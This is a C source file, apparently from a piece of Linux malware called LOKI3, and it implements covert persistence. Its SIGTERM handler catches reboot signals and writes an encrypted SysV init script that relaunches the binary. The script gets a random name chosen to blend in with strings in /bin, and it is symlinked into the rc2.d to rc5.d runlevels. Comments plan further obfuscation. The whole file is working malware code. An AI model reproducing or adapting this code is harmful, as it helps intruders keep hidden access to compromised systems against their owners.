/* * LOKI3 * * [ persistence.h ] * * 2019 and beyond Elective Surgery [dmfr] */ #ifdef PERSISTENCE #include "loki.h" #include "persistence.h" extern estring S_SYSV_SERVICE; /* * Generate a random string. * Used the character set because it blended in with files in /bin: * % strings * |grep ABC |sort |uniq -c |sort -n * ...snip... * 257 0123456789ABCDEF <--- pretty common alphanumeric string. */ static void random_string(char *dst, size_t len) { char character_set[] = "0123456789ABCDEF"; while (len--) { *dst++ = character_set[rand() % (sizeof(character_set) - 1)]; } *dst = '\0'; } static void random_string_range(char *dst, size_t lower, size_t upper) { int len; len = (rand() % (upper - lower + 1)) + lower; random_string(dst, len); } /* * SIGTERM handler. This will be caught when the `reboot` command is * issued, or `kill our_pid_here`. * * This persistence sets up a SysV service when SIGTERM is caught. reboot * and init 6 first attempt to send all process the SIGTERM signal so they * may gracefully exit. We take advantage of this and gracefully exit by * installing persistence. */ void handle_sigterm(int signo) { /* create init script and symlinks */ FILE *fp; char self[PATH_MAX + 1]; char service_name[16]; char str[8192]; char *dbuf; size_t n; random_string_range(service_name, 4, sizeof(service_name)); fp = fopen(INIT_SCRIPT, "w+"); // TODO obfuscate this if (fp == NULL) { perror("fopen"); return; } n = readlink("/proc/self/exe", self, sizeof(self)); if (n == -1) { perror("readlink"); return; } dbuf = decrypt(S_SYSV_SERVICE); snprintf(str, sizeof(str), dbuf, /* "#!/bin/sh\n" */ /* "### BEGIN INIT INFO\n" */ /* "# Provides: %s\n" */ /* "# Default-Start: 2 3 4 5\n" */ /* "# Default-Stop: 0 1 6\n" */ /* "# Short-Description: %s\n" */ /* "# Description: %s\n" */ /* "### END INIT INFO\n\n" */ /* "case \"$1\" in\n" */ /* " start)\n" */ /* " %s &\n" */ /* " ;;\n" */ /* "esac\n" */ /* "exit 0\n", */ service_name, service_name, service_name, self); destroy(dbuf, S_SYSV_SERVICE.size); fputs(str, fp); // TODO error checking chmod(INIT_SCRIPT, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); symlink(INIT_SCRIPT, "/etc/rc2.d/" PRIORITY); // TODO obfuscate these symlink(INIT_SCRIPT, "/etc/rc3.d/" PRIORITY); symlink(INIT_SCRIPT, "/etc/rc4.d/" PRIORITY); symlink(INIT_SCRIPT, "/etc/rc5.d/" PRIORITY); fclose(fp); } /* * Remove persistence files and symlinks. */ void unlink_persistence() { // TODO error checking unlink(INIT_SCRIPT); unlink("/etc/rc2.d/" PRIORITY); unlink("/etc/rc3.d/" PRIORITY); unlink("/etc/rc4.d/" PRIORITY); unlink("/etc/rc5.d/" PRIORITY); } #endif /* PERSISTENCE */